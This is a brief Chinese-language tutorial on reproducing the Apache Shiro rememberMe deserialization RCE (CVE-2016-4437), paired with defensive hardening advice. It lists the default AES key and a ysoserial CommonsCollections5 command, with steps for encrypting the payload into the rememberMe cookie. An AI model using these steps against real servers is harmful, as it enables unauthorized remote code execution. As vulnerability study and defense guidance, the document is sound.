Shiro-rememberMe反序列化漏洞复现

Shiro rememberMe 反序列化 RCE 复现(CVE-2016-4437):AES 密钥泄露、JNDI 注入、RCE 利用、防御加固。

写在前面:合法学习边界

Shiro 攻击只在授权测试环境进行。

一、Shiro 反序列化链

Shiro rememberMe 反序列化
1
① 发现 Shiro → ② 获取 AES 密钥 → ③ 构造 payload → ④ 加密 → ⑤ 发送 Cookie → ⑥ RCE

二、漏洞信息

1
2
3
4
CVE-2016-4437
影响:Apache Shiro 1.2.4 及之前
入口:rememberMe Cookie
类型:Java 反序列化 → JNDI → RCE

三、利用步骤

1
2
3
4
5
6
7
8
# 默认密钥
kPH+bIxk5D2deZiIxcaaaA==

# 构造 payload + AES 加密
ysoserial CommonsCollections5 'whoami'
# → AES/CBC/PKCS5Padding 加密
# → 设置到 rememberMe Cookie
# → 访问目标

四、防御加固

1
2
3
4
升级到 Shiro 1.2.5+
更换 AES 密钥(不要使用默认)
禁用反序列化
WAF 拦截超长 rememberMe Cookie

五、小结

Shiro rememberMe 是 Java 反序列化最经典的 RCE 漏洞。更换默认密钥 + 升级版本是核心防御。